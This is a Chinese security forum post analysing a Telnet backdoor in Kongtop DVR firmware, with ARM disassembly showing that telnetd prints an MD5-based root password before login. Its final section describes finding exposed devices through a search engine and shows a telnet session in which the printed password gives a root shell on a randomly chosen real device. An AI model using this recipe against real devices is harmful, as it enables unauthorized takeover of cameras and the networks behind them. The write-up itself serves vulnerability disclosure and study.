

前言

在康拓DVR中, 存在一个Telnet后门, 可以导致监控设备被控制甚至内网被渗透的风险。
下面来分析一下这个后门, 没有什么技术含量。

漏洞分析

后门存于在Telnetd文件中, Telnetd负责开启telnet并提供服务, 在这里我们可以看到在开了Telnet服务后, 对用户的连接进行了监听, 如果登录的用户长时间不操作就会登

```
STMFD    SP!, {R4-R11,LR}
MOV      R3, #0
SUB      SP, SP, #540
MOV      R4, R1
MOV      R0, #14          ; sig
LDR      R1, =sub_127D8    ; 监听登录超时
STRB     R3, [SP, #0x240+src]
BL       signal
MOV      R0, #0x3C        ; seconds
BL       alarm
BL       sub_A7FE4        ; 获取用户UID和Shell--/usr/bin
RSBS     R8, R0, #1
MOVCC    R8, #0
MOV      R0, #0xC
BL       sub_ADDB8       ; 开启一个连接进程
MOV      R0, R4           ; param_R1
LDR      R1, =aFHP        ; Telnet参数f:H:P
ADD      R2, SP, #0x210   ; 加密param_R3
ADD      R3, SP, #0x214
BL       sub_A4DBC       ; 处理参数
TST      R0, #1
MOV      R5, R0
BEQ      loc_129B0
```

在我们启用了Telnetd服务后, 也就是开启了telnet后, 程序会判断启动程序是否在终端机器里面运行, 如果是则进行下一步, 否则就会退出, 输出UNKNOWN。

```
loc_129D0          ; 判断当前是否为终端机
MOV      R0, #0
BL       isatty
CMP      R0, #0
BEQ      loc_13040
```

```
MOV      R0, #1          ; 判断当前是否为终端机
BL       isatty
CMP      R0, #0
BEQ      loc_13040
```

```
MOV      R0, #2          ; 判断当前是否为终端机
BL       isatty
CMP      R0, #0
BEQ      loc_13040
```

在通过了本机环境验证后, 程序会开始提取用户的登录数据, 并保存在内存中

```

LDR    R1, =aDev_0      ; "/dev/"
MOV     R0, R6           ; s1
STR     R6, [R4]
BL      strncmp
CMP     R0, #0
ADDEQ   R3, R6, #5
STREQ   R3, [R4]
BL      getpid
MOV     R7, R0
BL      setutent
B       loc_12AB4

```

```

loc_12AB4
BL      getutent
SUBS    R4, R0, #0
BNE     loc_12A50

```

在最后一一切的前戏都准备完毕后，程序开始步入正题，进入登录操作

```

LDR     R1, [SP, #0x214]
ADD     R0, SP, #0x50
MOV     R2, #0x100
BL      sub_AB3F34
LDR     R1, [R4]
LDR     R2, [SP, #0x240+var_2C]
LDR     R0, =aOnSFromS ; " on '%s' from '%s'"
BL      sub_EDAC
B       loc_12B64 ; 进入登录

```

程序开始初始化帐号密码变量，函数sub_12880创建缓存

```

loc_12B64
LDR     R3, =unk_D2C6C
MOV     R1, #3 ; option
MOV     R2, #0x20 ; facility
ADD     R7, SP, #0x1C4
MOV     R10, R0
ADD     R4, SP, #0x1A4
LDR     R0, [R3] ; ident
BL      openlog
MOV     R1, #0 ; c
MOV     R2, #0x20 ; n
MOV     R0, R7 ; s
BL      memset
MOV     R1, #0 ; c
MOV     R2, #0x20 ; n
MOV     R0, R4 ; s
BL      memset
MOV     R1, R4
MOV     R0, R7
BL      sub_12880 ; 创建登录缓存
UXTB    R1, R0
CMP     R1, #0
BNE     loc_12C10

```

在返回登录用户数据之前，程序做了一个动作，那就是输出Telnet的登录密码，这里为了直观，把函数改为了Print_Password,这个函数就是这个后门的关键点了，这个函数

```

.text:00012B8C      ADD     R9, SP, #0x240+var_BC
.text:00012BC0      MOV     R2, #0x20      ; n
.text:00012BC4      MOV     R0, R9          ; s
.text:00012BC8      BL      memset
.text:00012BCC      MOV     R0, R4          ; s
.text:00012BD0      BL      strlen
.text:00012BD4      MOV     R11, R0
.text:00012BD8      MOV     R0, R7          ; s
.text:00012BDC      BL      strlen
.text:00012BE0      RSB     R2, R11, #0x1F
.text:00012BE4      MOV     R1, R7          ; src
.text:00012BE8      CMP     R2, R0
.text:00012BEC      MOVCS   R2, R0          ; n
.text:00012BF0      ADD     R0, R4, R11      ; dest
.text:00012BF4      BL      memcpy
.text:00012BF8      MOV     R0, R4          ; s
.text:00012BFC      BL      strlen
.text:00012C00      MOV     R1, R9
.text:00012C04      MOV     R2, R0
.text:00012C08      MOV     R0, R4
.text:00012C0C      BL      Print_Password ; 打印登录密码

```

在这个函数里面有3个函数sub_11BE8、sub_126B8、sub_1276C，这三个函数不知道干嘛的，我们先跟进函数sub_11BE8看看

```

Print_Password
STMFD    SP!, {R4-R7,LR}
SUB      SP, SP, #92
MOV      R6, R0
MOV      R7, R2
MOV      R0, SP
MOV      R5, R1
BL       sub_11BE8      ; 定义幻数0-F
MOV      R2, R7
MOV      R0, SP
MOV      R1, R6
MOV      R4, #0
BL       sub_126B8
MOV      R0, SP
MOV      R1, R5
BL       sub_1276C      ; MD5算法-计算密码MD5值
LDR      R0, =aPasswd   ; "passwd:"
BL       printf

```

可以看到，这个有点像MD5的4个幻数定义的特征，再分析一下后两个函数，更加验证了这个是一个MD5算法，这里就不贴图了。最后将密码给打印在了登录页面上

```

00011BE8 sub_11BE8 ; CODE XREF: Print_P
00011BE8      MOV     R3, #0
00011BEC      STR     R3, [R0]
00011BF0      STR     R3, [R0,#4]
00011BF4      LDR     R3, =0x67452301
00011BF8      STR     R3, [R0,#8]
00011BFC      LDR     R3, =0xEFCDAB89
00011C00      STR     R3, [R0,#0xC]
00011C04      LDR     R3, =0x98BADCFE
00011C08      STR     R3, [R0,#0x10]
00011C0C      LDR     R3, =0x10325476
00011C10      STR     R3, [R0,#0x14]
00011C14      BX      LR
00011C14 ; End of function sub_11BE8

```

到这一步，就没有再跟下去的必要了。

相关利用

经过上面的分析，现在整个过程就已经很清晰了

现在我们在搜索引擎里面搜索一下,随便找一个IP进行尝试



找到约 1,874 条结果 用时 0.015 秒



60. .**

23/telnet

China, Taipei

2018-05-04 07:43

请登录并完成实名认证!

Please login and finish the ID verification pr

1,874

1,335

297

189

46

7

82. .227

9999/telnet

Poland, Warsaw

2018-05-04 01:12

先知社区

对搜索到的IP进行Telnet连接,然后程序会直接返回给我们一个密码,我们直接输入上面给的密码就可以直接登录了。

```
Telnet 84

passwd:c0c569628c288fa23db8ec6846038c1f
<none> login: root
Password:

BusyBox v1.16.1 (2015-05-08 11:11:33 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to 
None of nfsroot found in cmdline.
[root@<none> root]#
```

先知社区

最后

这个“后门”不知是厂家故意留的,还是在调试的时候未注释掉这行代码所导致的问题。不过可以肯定的是安全风险是很严重的。

点击收藏 | 0 关注 | 1

[上一篇: CVE-2017-9841到root提权](#) [下一篇: 威胁猎人|改机工具在黑灰产中的应用](#)

1. 2 条回复



[王天](#) 2018-05-09 20:21:24

zoomeye的关键词是什么？直接搜索 kongtop ，搜索不到这个摄像机呢

0 回复Ta



[mosin](#) 2018-05-10 19:59:49

搜索关键字在文中，这里就不细说了。

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)